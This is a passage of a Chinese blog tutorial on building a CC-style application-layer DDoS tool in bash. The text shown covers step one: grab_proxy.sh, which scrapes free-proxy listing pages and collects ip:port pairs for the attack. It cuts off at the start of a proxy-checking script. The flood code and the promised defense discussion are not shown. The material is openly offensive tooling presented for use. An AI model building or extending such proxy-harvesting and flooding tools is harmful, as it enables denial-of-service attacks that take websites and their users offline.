当前位置:   article > 正文

DDoS渗透与攻防实战(二):CC攻击工具实现与防御理论_cc攻击教程

cc攻击教程

我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击。

第一步:获取大量可用代理ip:port列表

网上所处可见免费代理,我们使用http的GET方法抓取html文档,接着使用正则过滤出我们需要的ip port对,然后逐一验证各代理的可用性,最终得到可用的代理ip port对。

grab_proxy.sh
  1. #!/bin/bash
  2. #get proxy list
  3. declare proxyListFile="proxy.txt"
  4. declare tmpFile=`mktemp`
  5. declare url
  6. declare line
  7. declare times
  8. declare ip
  9. declare port
  10. declare i
  11. declare j
  12. declare mod
  13. function quit() {
  14. rm -f $tmpFile
  15. exit "$1"
  16. }
  17. echo "get proxy list... please wait..."
  18. if [ -r "$proxyListFile" ]
  19. then
  20. rm -f $proxyListFile
  21. fi
  22. touch $proxyListFile
  23. for url in " http://www.youdaili.cn/Daili/guonei/2215.html " \
  24. " http://www.youdaili.cn/Daili/guonei/2215_2.html" \
  25. " http://www.youdaili.cn/Daili/guonei/2215_3.html" \
  26. " http://www.youdaili.cn/Daili/guonei/2215_4.html "
  27. do
  28. if GET "$url" > $tmpFile
  29. then
  30. grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" \
  31. | sort -n | uniq | awk -F: '{ printf("%-15s %s \n",$1,$2); }' >> $proxyListFile
  32. else
  33. exec 1>&2
  34. echo "error: get proxy list fail! chech the url:$url or the network"
  35. quit 1
  36. fi
  37. done
  38. echo "done. total `cat $proxyListFile | wc -l` proxy"
  39. quit 0
  40. #exit

  参数:

  declare proxyListFile="proxy.txt"  #抓取到的代理ip port对所存放的文件路径

check_proxy.sh
  1. #!/bin/bash
  2. #get proxy list
  3. declare check_threads=10
  4. declare
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/代码探险家/article/detail/896154
推荐阅读
相关标签
  

闽ICP备14008679号